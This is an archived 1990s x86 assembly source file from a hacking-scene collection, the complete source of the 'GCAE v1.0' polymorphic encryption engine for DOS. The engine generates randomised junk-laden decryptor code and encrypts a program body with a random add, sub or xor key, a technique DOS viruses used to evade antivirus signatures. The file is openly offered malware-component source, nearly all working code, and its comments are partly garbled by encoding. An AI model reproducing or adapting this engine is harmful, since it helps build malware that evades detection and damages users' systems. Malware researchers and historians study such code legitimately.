home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0397.ZIP / PMUPDT18.ZIP / GCAE-UP.ZIP / GCAE10.ASM
Assembly Source File  |  1997-02-06  |  19KB  |  910 lines

  1.         .MODEL SMALL
  2.         .CODE
  3.         PUBLIC GCAE,GCAE_E
  4.  
  5.         db 00h,'[GCAE] v1.0',00h
  6.  
  7. mr_d0   dw ?
  8. mr_d2   dw ?
  9. mr_d4   dw ?
  10. mr_da   dw ?
  11.  
  12. reg_1   db ?
  13. reg_2   db ?
  14.  
  15. vreg_1  db ?
  16. vreg_2  db ?
  17.  
  18. treg_1  db ?
  19. treg_2  db ?
  20.  
  21. v_ax    dw ?
  22. v_cx    dw ?
  23. v_dx    dw ?
  24. v_bx    dw ?
  25. v_sp    dw ?
  26. v_bp    dw ?
  27. v_si    dw ?
  28. v_di    dw ?
  29.  
  30. prg_ip  dw ?
  31. prg_size dw ?
  32. prg_dx  dw ?
  33. prg_ds  dw ?
  34.  
  35. key_id  dw ?
  36. xor_type db ?
  37.  
  38. xor_cod db 03h,2bh,33h,033h           ; ╜s╜X║╪├■ add íBsub íBxor ...
  39.  
  40. cod     db 2eh,2eh,0cch,0cch,0cch,0cch,91h,92h,93h,98h,99h,0f0h,0fah
  41.         db 0fbh,0fch,0fdh
  42.  
  43. GCAE:
  44.         cld
  45.         mov cs:prg_ip,bx    ; ░úªs░╤╝╞...
  46.         mov cs:prg_size,cx  ;
  47.         mov cs:prg_dx,dx    ;
  48.         mov cs:prg_ds,ds    ;
  49.         call make_eng1       ; ╗s│yªhº╬╡{ªíñº░╞╡{ªí...
  50.         call make_eng2       ; ╜s╜X¬║░╞╡{ªí...
  51.         mov cx,di           ; │]⌐w¬≡ª^░╤╝╞...
  52.         push es             ;
  53.         pop ds              ;
  54.         xor dx,dx           ;
  55.         ret
  56.  
  57. make_eng1:
  58.         xor di,di
  59.         call make_rad_cod   ; ▓úÑ═╢├╝╞...
  60. make_reg:                   ; │]⌐w╕╤╜X╝╥▓╒⌐╥Ñ╬¬║╝╚ªs╛╣¡╚...
  61.         in ax,40h
  62.         and ah,00011000b
  63.         and al,00011000b
  64.         or ah,00100000b
  65.         or al,00100000b
  66.         cmp ah,00100000b
  67.         jz make_reg
  68.         cmp al,00100000b
  69.         jz make_reg
  70.         mov cs:reg_1,ah
  71.         mov cs:reg_2,al
  72.         xor bp,bp
  73.         xor di,di
  74.         call make_rec_cod
  75.         ret
  76.  
  77. make_rad_cod:
  78.         call rad
  79.         mov es:[di],ax
  80.         inc di
  81.         inc di
  82.         cmp di,0100h
  83.         jb make_rad_cod
  84.         ret
  85. rad:
  86.         in ax,40h
  87.         xor ax,cs:key_id
  88.         add ax,2e4dh
  89.         neg ax
  90.         mov cs:key_id,ax
  91.         ret
  92.  
  93. make_rec_cod_ext:
  94.         mov ax,0100h        ; Mmmm... No thing...
  95.         sub ax,di           ; I must be Crazy...
  96.         dec ax              ; Whoa... Ha! Ha! Ha! Ha!
  97.         dec ax              ;
  98.         mov ah,0ebh         ;
  99.         xchg ah,al          ;
  100.         call mrd            ;
  101.         mov di,0100h        ;
  102.         ret
  103. make_rec_cod:                    ; │o╕╠ñw½ßº┌ñú╖Q╡∙ñF, ºA¼▌¿║
  104.         cmp di,00f0h             ; ▒i¬φ┤NÑiÑHñF... ╝H! º┌ªb▓V
  105.         jae make_rec_cod_ext     ; ╣└!!!
  106.         call make_rec            ; Oh! TV... I love you...
  107.         mov al,es:[di]           ; I m' coming...
  108.         cmp al,40h               ;
  109.         jb mrc1                  ;
  110.         cmp al,80h               ;
  111.         jb mrc2                  ;
  112.         jmp mrc3                 ;
  113.  
  114. mrc1:
  115.         mov ah,al
  116.         and al,0fh
  117.         cmp al,0ch
  118.         jae mrc1_a2
  119.         cmp al,08h
  120.         jae mrc1_a1
  121.         cmp al,04h
  122.         jae mrc1_a2
  123. mrc1_a1:
  124.         or ah,00000010b
  125.         in al,40h
  126.         mov dl,ah
  127.         and dl,01h
  128.         cmp dl,01h
  129.         jnz mrc1_a1b1
  130.         and al,11011111b
  131. mrc1_a1b1:
  132.         mov dl,al
  133.         and dl,11000000b
  134.         cmp dl,00h
  135.         jz mrc1_a1b2
  136.         or al,11000000b
  137.         xchg ah,al
  138.         call mrd
  139.         jmp make_rec_cod
  140. mrc1_a1b2:
  141.         and al,00111000b
  142.         or al,00000110b
  143.         xchg ah,al
  144.         call mrd
  145.         inc di
  146.         inc di
  147.         jmp make_rec_cod
  148. mrc1_a2:
  149.         and ah,11111101b
  150.         mov al,ah
  151.         call mrb
  152.         inc di
  153.         and al,00000001b
  154.         xor ah,ah
  155.         add di,ax
  156.         jmp make_rec_cod
  157.  
  158. mrc2:
  159.         cmp al,70h
  160.         jae mrc2_a1
  161.         cmp al,60h
  162.         jae mrc2_a2
  163.         and al,00001011b
  164.         or al,40h
  165.         call mrb
  166.         jmp make_rec_cod
  167. mrc2_a1:
  168.         xor ah,ah
  169.         call mrd
  170.         jmp make_rec_cod
  171. mrc2_a2:
  172.         and ax,000fh
  173.         mov si,OFFSET cs:cod
  174.         add si,ax
  175.         mov al,cs:[si]
  176.         call mrb
  177.         jmp make_rec_cod
  178.  
  179. mrc45:
  180.         jmp mrc4
  181. mrc3:
  182.         cmp al,90h
  183.         jae mrc45
  184.         mov ah,al
  185.         in al,40h
  186.         cmp ah,81h
  187.         jz mrc3_a1
  188.         cmp ah,83h
  189.         jz mrc3_a1
  190.         cmp ah,80h
  191.         jz mrc3_a2
  192.         cmp ah,82h
  193.         jz mrc3_a2
  194.         jmp mrc3_a3
  195. mrc3_a1:
  196.         mov dh,cs:reg_1
  197.         mov dl,cs:reg_2
  198.         mov cl,03h
  199.         shr dh,cl
  200.         shr dl,cl
  201.         mov cl,al
  202.         and cl,00000111b
  203.         cmp cl,00000100b
  204.         jz mrc3_a1b
  205.         cmp dh,cl
  206.         jz mrc3_a1b
  207.         cmp dl,cl
  208.         jz mrc3_a1b
  209.         jmp mrc3_a2
  210. mrc3_a1b:
  211.         and al,11111011b
  212. mrc3_a2:
  213.         or al,11000000b
  214.         and ah,11110001b
  215.         xchg ah,al
  216.         call mrd
  217.         inc di
  218.         and al,01h
  219.         xor ah,ah
  220.         add di,ax
  221.         jmp make_rec_cod
  222. mrc3_a3:
  223.         cmp ah,8ch
  224.         jb mrc3_a3b1
  225.         and ah,11111011b
  226. mrc3_a3b1:
  227.         cmp ah,87h
  228.         jz mrc3_a3b2
  229.         cmp ah,8bh
  230.         jz mrc3_a3b2
  231.         jmp mrc3_a3b3
  232. mrc3_a3b2:
  233.         and al,11011111b
  234. mrc3_a3b3:
  235.         cmp ah,88h
  236.         jb mrc3_a3b4
  237.         mov dl,al
  238.         and dl,11000000b
  239.         cmp dl,00h
  240.         jz mrc3_a3b6
  241. mrc3_a3b4:
  242.         or al,11000000b
  243.         mov dl,ah
  244.         and dl,01h
  245.         cmp dl,01h
  246.         jnz mrc3_a3b5
  247.         and al,11111011b
  248. mrc3_a3b5:
  249.         xchg ah,al
  250.         call mrd
  251.         jmp make_rec_cod
  252. mrc3_a3b6:
  253.         cmp ah,8ah
  254.         jb mrc3_a3b7
  255.         and al,11111000b
  256.         or al,00000110b
  257.         xchg ah,al
  258.         call mrd
  259.         inc di
  260.         inc di
  261.         jmp make_rec_cod
  262. mrc3_a3b7:
  263.         and al,11111000b
  264.         or al,00000110b
  265.         xchg ah,al
  266.         call mrd
  267.         in ax,40h
  268.         and ax,001fh
  269.         or ax,00e0h
  270.         dec ax
  271.         add ax,cs:prg_ip
  272.         call mrd
  273.         jmp make_rec_cod
  274.  
  275. mrc4:
  276.         cmp al,0a0h
  277.         jb mrc4_a1
  278.         cmp al,0b0h
  279.         jb mrc4_a2
  280.         cmp al,0c0h
  281.         jb mrc4_a3
  282.         cmp al,0d0h
  283.         jb mrc4_a4
  284.         jmp mrc5
  285. mrc4_a1:
  286.         and al,11110011b
  287.         cmp al,90h
  288.         jnz mrc4_a1b
  289.         mov al,0cch
  290. mrc4_a1b:
  291.         call mrb
  292.         jmp make_rec_cod
  293. mrc4_a2:
  294.         and al,11111001b
  295.         call mrb
  296.         cmp al,0a8h
  297.         jae mrc4_a2b
  298.         inc di
  299.         inc di
  300.         jmp make_rec_cod
  301. mrc4_a2b:
  302.         inc di
  303.         and al,01h
  304.         xor ah,ah
  305.         add di,ax
  306.         jmp make_rec_cod
  307. mrc4_a3:
  308.         cmp al,0bch
  309.         jb mrc4_a3b1
  310.         and al,00001011b
  311.         or al,80h
  312.         mov es:[di],al
  313.         jmp make_rec_cod
  314. mrc4_a3b1:
  315.         call mrb
  316.         cmp al,0b8h
  317.         jb mrc4_a3b2
  318.         inc di
  319. mrc4_a3b2:
  320.         inc di
  321.         jmp make_rec_cod
  322. mrc4_a4:
  323.         mov ah,al
  324.         and ah,11110001b
  325.         or ah,00000110b
  326.         in al,40h
  327.         and al,00000111b
  328.         or al,11000000b
  329.         cmp ah,0c7h
  330.         jnz mrc4_a4b
  331.         and al,11000011b
  332. mrc4_a4b:
  333.         xchg ah,al
  334.         call mrd
  335.         inc di
  336.         and al,01h
  337.         xor ah,ah
  338.         add di,ax
  339.         jmp make_rec_cod
  340.  
  341. mrc5:
  342.         cmp al,0e0h
  343.         jb mrc5_a1
  344.         jmp mrc5_a2
  345. mrc5_a1:
  346.         mov ah,al
  347.         and ah,11110011b
  348.         in al,40h
  349.         mov dl,al
  350.         and dl,00111000b
  351.         cmp dl,00110000b
  352.         jnz mrc5_a1b1
  353.         or al,00111000b
  354. mrc5_a1b1:
  355.         or al,11000000b
  356.         mov dl,ah
  357.         and dl,01h
  358.         cmp dl,01h
  359.         jnz mrc5_a1b2
  360.         and al,11111011b
  361. mrc5_a1b2:
  362.         xchg ah,al
  363.         call mrd
  364.         jmp make_rec_cod
  365. mrc5_a2:
  366.         cmp al,0e1h
  367.         jb mrc5_a2b1
  368.         cmp al,0e8h
  369.         jb mrc5_a2b2
  370.         cmp al,0feh
  371.         jae mrc5_a2b4
  372.         jmp mrc5_a2b3
  373. mrc5_a2b1:
  374.         and al,11110001b
  375.         or al,00000100b
  376.         call mrb
  377.         inc di
  378.         jmp make_rec_cod
  379. mrc5_a2b2:
  380.         mov ah,al
  381.         and ah,0fh
  382.         mov al,0ebh
  383.         call mrd
  384.         xor al,al
  385.         xchg ah,al
  386.         add di,ax
  387.         jmp make_rec_cod
  388. mrc5_a2b3:
  389.         mov dl,al
  390.         and al,0fh
  391.         mov ah,0e8h
  392.         xchg ah,al
  393.         call mrd
  394.         mov al,00h
  395.         call mrb
  396.         xchg ah,al
  397.         add di,ax
  398.         mov al,dl
  399. mrc5_a2b3c1:
  400.         cmp al,54h
  401.         jb mrc5_a2b3c2
  402.         sub al,04h
  403.         jmp mrc5_a2b3c1
  404. mrc5_a2b3c2:
  405.         add al,08h
  406.         call mrb
  407.         jmp make_rec_cod
  408. mrc5_a2b4:
  409.         mov ah,al
  410.         in al,40h
  411.         and al,00001000b
  412.         or al,00000110b
  413.         xchg ah,al
  414.         call mrd
  415.         in ax,40h
  416.         and ax,001fh
  417.         or ax,00e0h
  418.         dec ax
  419.         add ax,cs:prg_ip
  420.         call mrd
  421.         jmp make_rec_cod
  422.  
  423. make_rec_ext:               ; │o╕╠ñw½ß┤N¼O▓úÑ═╕╤╜X╝╥▓╒¬║░╞
  424.         ret                 ; ╡{ªíñF... ºAÑiÑH¼▌¿║▒i¬φ┤NÑi
  425. make_rec:                   ; ┼o... ╝H!
  426.         mov ax,bp           ;          ís  ís    Z
  427.         mov cx,0004h        ;          (-)(-)   z
  428.         shl ax,cl           ;        í] (oo) í^
  429.         or al,03h           ;
  430.         cmp di,ax           ;             ║╬─▒ññ...
  431.         jb make_rec_ext     ;
  432. mr_0:
  433.         cmp bp,0000h
  434.         jnz mr_1
  435.         mov al,0eh
  436.         jmp mr_ext
  437. mr_1:
  438.         cmp bp,0001h
  439.         jnz mr_2
  440.         mov al,1fh
  441.         jmp mr_ext
  442. mr_2:
  443.         cmp bp,0002h
  444.         jnz mr_3
  445.         in al,40h
  446.         and al,01h
  447.         cmp al,01h
  448.         jz mr_2_a
  449.         mov ah,cs:reg_1
  450.         or ah,00000110b
  451.         mov al,8bh
  452.         call mrd
  453.         mov cs:mr_d2,di
  454.         call madr
  455.         inc bp
  456.         ret
  457. mr_2_a:
  458.         mov ah,00110110b
  459.         mov al,0ffh
  460.         call mrd
  461.         mov cs:mr_d2,di
  462.         call madr
  463.         mov al,cs:reg_1
  464.         mov cl,03h
  465.         shr al,cl
  466.         or al,01011000b
  467.         call mrb
  468.         inc bp
  469.         ret
  470. mr_3:
  471.         cmp bp,0003h
  472.         jnz mr_4
  473.         call vcpu
  474.         inc bp
  475.         ret
  476. mr_4:
  477.         cmp bp,0004h
  478.         jnz mr_5
  479.         in al,40h
  480.         and al,01h
  481.         cmp al,01h
  482.         jz mr_4_a
  483.         mov ah,cs:reg_1
  484.         or ah,00000110b
  485.         mov al,89h
  486.         call mrd
  487.         mov cs:mr_d4,di
  488.         call madr
  489.         inc bp
  490.         ret
  491. mr_4_a:
  492.         mov al,cs:reg_1
  493.         mov cl,03h
  494.         shr al,cl
  495.         or al,01010000b
  496.         call mrb
  497.         mov ah,00000110b
  498.         mov al,8fh
  499.         call mrd
  500.         mov cs:mr_d4,di
  501.         call madr
  502.         inc bp
  503.         ret
  504. mr_5:
  505.         cmp bp,0005h
  506.         jnz mr_6
  507.         mov ah,cs:reg_2
  508.         or ah,00000110b
  509.         mov al,8bh
  510.         call mrd
  511.         mov ax,cs:mr_d2
  512.         add ax,cs:prg_ip
  513.         call mrd
  514.         inc bp
  515.         ret
  516. mr_6:
  517.         cmp bp,0006h
  518.         jz mr_7
  519.         cmp bp,0007h
  520.         jz mr_7
  521.         jmp mr_8
  522. mr_7:
  523.         mov al,cs:reg_2
  524.         mov cl,03h
  525.         shr al,cl
  526.         or al,40h
  527.         call mrb
  528.         inc bp
  529.         ret
  530. mr_8:
  531.         cmp bp,0008h
  532.         jnz mr_9
  533.         mov ah,cs:reg_2
  534.         or ah,00000110b
  535.         mov al,89h
  536.         call mrd
  537.         mov ax,cs:mr_d2
  538.         add ax,cs:prg_ip
  539.         call mrd
  540.         inc bp
  541.         ret
  542. mr_9:
  543.         cmp bp,0009h
  544.         jnz mr_a
  545.         mov ah,cs:reg_2
  546.         or ah,00000110b
  547.         mov al,89h
  548.         call mrd
  549.         mov ax,cs:mr_d4
  550.         add ax,cs:prg_ip
  551.         call mrd
  552.         inc bp
  553.         ret
  554. mr_a:
  555.         cmp bp,000ah
  556.         jnz mr_b
  557.         mov ah,cs:reg_2
  558.         mov cl,03h
  559.         shr ah,cl
  560.         or ah,11111000b
  561.         mov al,81h
  562.         call mrd
  563.         mov cs:mr_da,di
  564.         inc di
  565.         inc di
  566.         call mrc_n
  567.         mov al,9ch
  568.         call mrb
  569.         inc bp
  570.         ret
  571. mr_b:
  572.         cmp bp,000bh
  573.         jnz mr_c
  574.         mov al,9dh
  575.         call mrb
  576.         call mrc_n
  577.         mov ax,0100h
  578.         sub ax,di
  579.         dec ax
  580.         dec ax
  581.         mov ah,73h
  582.         xchg ah,al
  583.         call mrd
  584.         inc bp
  585.         ret
  586. mr_e:
  587.         ret
  588. mr_c:
  589.         cmp bp,000ch
  590.         jnz mr_e
  591.         mov al,0e9h
  592.         call mrb
  593.         mov ax,0ffffh
  594.         sub ax,di
  595.         dec ax
  596.         add ax,cs:mr_d0
  597.         call mrd
  598.         inc di
  599.         and di,0fffeh
  600.         in ax,40h
  601.         and ax,000eh
  602.         add ax,di
  603.         mov bx,cs:prg_ip
  604.         add ax,bx
  605.         mov si,cs:mr_d2
  606.         mov es:[si],ax
  607.         mov si,cs:mr_d4
  608.         mov es:[si],ax
  609.         mov cx,cs:prg_size
  610.         and cx,0fffeh
  611.         add cx,cs:prg_ip
  612.         add cx,0100h
  613.         mov si,cs:mr_da
  614.         mov es:[si],cx
  615.         inc bp
  616.         ret
  617. mr_ext:
  618.         call mrb
  619.         inc bp
  620.         mov cs:mr_d0,di
  621.         ret
  622.  
  623. mrb:                         ; │o│íÑ≈┤N¼O▒N al or ax
  624.         mov es:[di],al       ; ╢±ñJ es:[di] ...
  625.         inc di               ; ╡M½ßªb▒N di Ñ[ 1 or 2
  626.         ret                  ; !!!
  627. mrd:                         ;
  628.         mov es:[di],ax       ;
  629.         inc di               ;
  630.         inc di               ;
  631.         ret
  632. madr:
  633.         mov ax,es:[0000h]
  634.         and ax,001fh
  635.         or ax,00e0h
  636.         dec ax
  637.         add ax,cs:prg_ip
  638.         call mrd
  639.         ret
  640.  
  641. vcpu:                             ; │o│íÑ≈¼Oªbº@╕╤╜X¡╚¬║╣B║Γ...
  642.         call vcpu_r               ; ¼░ñ░╗≥¡n¿║╗≥│┬╖╨⌐O?
  643.         in ax,40h                 ; ª]¼░ñH«añú╖Q┼²ñ@¿╟─Ω╕╤¼r╡{
  644.         and ax,0003h              ; ªí╕╤▒╝... ñ~...
  645.         mov si,OFFSET cs:xor_cod
  646.         add si,ax
  647.         mov al,cs:[si]
  648.         mov cs:xor_type,al
  649.         mov ah,cs:vreg_1
  650.         or ah,cs:reg_1
  651.         or ah,11000000b
  652.         call mrd
  653.         mov al,cs:vreg_1
  654.         add al,al
  655.         xor ah,ah
  656.         mov si,ax
  657.         mov ax,cs:[v_ax+si]
  658.         mov cs:key_id,ax
  659.         ret
  660. vcpu_r:
  661.         call vcpu_mr1
  662.         mov cs:vreg_1,al
  663.         or al,0b8h
  664.         call mrb
  665.         mov cs:vcpu_bu1,al
  666.         in ax,40h
  667.         call mrd
  668.         mov cs:vcpu_bu2,ax
  669.         call vcpu_b
  670.         call mrc_m
  671.         call vcpu_mr1
  672.         mov cs:vreg_2,al
  673.         or al,0b8h
  674.         call mrb
  675.         mov cs:vcpu_bu1,al
  676.         in ax,40h
  677.         call mrd
  678.         mov cs:vcpu_bu2,ax
  679.         call vcpu_b
  680.         call mrc_m
  681.         call vcpu_mr2
  682.         call mrd
  683.         mov cs:vcpu_bu2,ax
  684.         call vcpu_b
  685.         ret
  686. vcpu_b:
  687.         push bp
  688.         push di
  689.         push si
  690.         mov ax,cs:v_ax
  691.         mov bx,cs:v_bx
  692.         mov cx,cs:v_cx
  693.         mov dx,cs:v_dx
  694.         mov bp,cs:v_bp
  695.         mov di,cs:v_di
  696.         mov si,cs:v_si
  697. vcpu_bu1 db 90h
  698. vcpu_bu2 dw 9090h
  699.         mov cs:v_ax,ax
  700.         mov cs:v_bx,bx
  701.         mov cs:v_cx,cx
  702.         mov cs:v_dx,dx
  703.         mov cs:v_bp,bp
  704.         mov cs:v_di,di
  705.         mov cs:v_si,si
  706.         mov ax,9090h
  707.         mov cs:vcpu_bu1,al
  708.         mov cs:vcpu_bu2,ax
  709.         pop si
  710.         pop di
  711.         pop bp
  712.         ret
  713. vcpu_mr1:
  714.         in al,40h
  715.         and al,00000111b
  716.         cmp al,00000100b
  717.         jz vcpu_mr1
  718.         mov ah,cs:reg_1
  719.         mov cl,03h
  720.         shr ah,cl
  721.         cmp ah,al
  722.         jz vcpu_mr1
  723.         cmp al,cs:vreg_1
  724.         jz vcpu_mr1
  725.         ret
  726. vcpu_mr2:
  727.         in al,40h
  728.         and al,00111000b
  729.         or al,03h
  730.         mov dl,al
  731.         and dl,0f0h
  732.         cmp dl,10h
  733.         jz vcpu_mr2
  734.         mov ah,cs:vreg_1
  735.         mov cl,03h
  736.         shl ah,cl
  737.         or ah,cs:vreg_2
  738.         or ah,11000000b
  739.         ret
  740.  
  741. mrc_m:
  742.         in al,40h
  743.         and al,00111000b
  744.         cmp al,00100000b
  745.         jz mrc_ma
  746.         cmp al,cs:reg_1
  747.         jz mrc_ma
  748.         mov cl,03h
  749.         shr al,cl
  750.         cmp al,cs:vreg_1
  751.         jz mrc_ma
  752.         or al,0b8h
  753.         call mrb
  754.         mov cs:vcpu_bu1,al
  755.         in ax,40h
  756.         call mrd
  757.         mov cs:vcpu_bu2,ax
  758.         call vcpu_b
  759.         ret
  760. mrc_ma:
  761.         in al,40h
  762.         cmp al,40h
  763.         jb mrc_ma1
  764.         cmp al,60h
  765.         jb mrc_ma2
  766.         cmp al,90h
  767.         jb mrc_ma3
  768.         jmp mrc_ma4
  769. mrc_ma1:
  770.         and al,11111001b
  771.         or al,00000100b
  772.         mov ah,al
  773.         and ah,0f0h
  774.         cmp ah,10h
  775.         jnz mrc_ma1b1
  776.         in al,40h
  777.         jmp mrc_ma4
  778. mrc_ma1b1:
  779.         call mrb
  780.         mov cs:vcpu_bu1,al
  781.         inc di
  782.         and al,00000001b
  783.         xor ah,ah
  784.         add di,ax
  785.         cmp al,01h
  786.         jz mrc_ma1b2
  787.         mov al,es:[di-01h]
  788.         mov ah,90h
  789.         mov vcpu_bu2,ax
  790.         jmp mrc_ma1b3
  791. mrc_ma1b2:
  792.         mov ax,es:[di-02h]
  793.         mov vcpu_bu2,ax
  794. mrc_ma1b3:
  795.         call vcpu_b
  796.         ret
  797. mrc_ma2:
  798.         in al,40h
  799.         and al,00001111b
  800.         mov ah,al
  801.         and ah,00000111b
  802.         cmp ah,00000100b
  803.         jz mrc_ma2
  804.         mov cl,03
  805.         shl ah,cl
  806.         cmp ah,cs:reg_1
  807.         jz mrc_ma2
  808.         or al,40h
  809.         call mrb
  810.         mov cs:vcpu_bu1,al
  811.         call vcpu_b
  812.         ret
  813. mrc_ma3:
  814.         mov al,80h
  815.         call mrb
  816.         mov cs:vcpu_bu1,al
  817. mrc_ma3a:
  818.         in ax,40h
  819.         and al,00111000b
  820.         cmp al,00010000b
  821.         jz mrc_ma3a
  822.         cmp al,00011000b
  823.         jz mrc_ma3a
  824.         or al,cs:vreg_1
  825.         or al,11000000b
  826.         call mrd
  827.         mov cs:vcpu_bu2,ax
  828.         call vcpu_b
  829.         ret
  830. mrc_ma4:
  831.         and al,0fh
  832.         mov ah,0e8h
  833.         xchg ah,al
  834.         call mrd
  835.         mov al,00h
  836.         call mrb
  837.         push di
  838.         xchg ah,al
  839.         add di,ax
  840. mrc_ma4b:
  841.         in al,40h
  842.         and al,00111000b
  843.         cmp al,00100000b
  844.         jz mrc_ma4b
  845.         cmp al,cs:reg_1
  846.         jz mrc_ma4b
  847.         mov cl,03h
  848.         shr al,cl
  849.         or al,58h
  850.         call mrb
  851.         and al,00000111b
  852.         or al,0b8h
  853.         mov cs:vcpu_bu1,al
  854.         pop ax
  855.         add ax,cs:prg_ip
  856.         mov cs:vcpu_bu2,ax
  857.         call vcpu_b
  858.         ret
  859.  
  860. mrc_n:
  861.         in ax,40h
  862.         and al,00000011b
  863.         or al,10001000b
  864.         and ah,00111000b
  865.         or ah,00000110b
  866.         cmp ax,268ch
  867.         jz mrc_n
  868.         call mrd
  869.         in ax,40h
  870.         and ax,001fh
  871.         or ax,00e0h
  872.         dec ax
  873.         add ax,cs:prg_ip
  874.         call mrd
  875.         ret
  876.  
  877. make_eng2:                             ; │o│íÑ≈┤N¼Oªb╜s╜X┼o...
  878.         mov si,cs:prg_dx               ; Ñ╬ñ▀┬Iºa... ºAñ@⌐wÑiÑH
  879.         mov ds,cs:prg_ds               ; ñF╕╤¬║...
  880.         mov ax,cs:key_id               ;
  881.         mov cx,cs:prg_size             ;
  882. me2_l1:
  883.         movsw
  884.         dec cx
  885.         cmp byte ptr cs:xor_type,03h
  886.         jz xor_1
  887.         cmp byte ptr cs:xor_type,2bh
  888.         jz xor_2
  889.         jmp xor_3
  890. xor_1:
  891.         sub es:[di-02h],ax
  892.         jmp xor_4
  893. xor_2:
  894.         add es:[di-02h],ax
  895.         jmp xor_4
  896. xor_3:
  897.         xor es:[di-02h],ax
  898. xor_4:
  899.         cmp cx,0002h
  900.         jz me2_l2
  901.         loop me2_l1
  902.         ret
  903. me2_l2:
  904.         movsb
  905.         ret
  906.  
  907. GCAE_E db ?
  908.  
  909.         END
  910.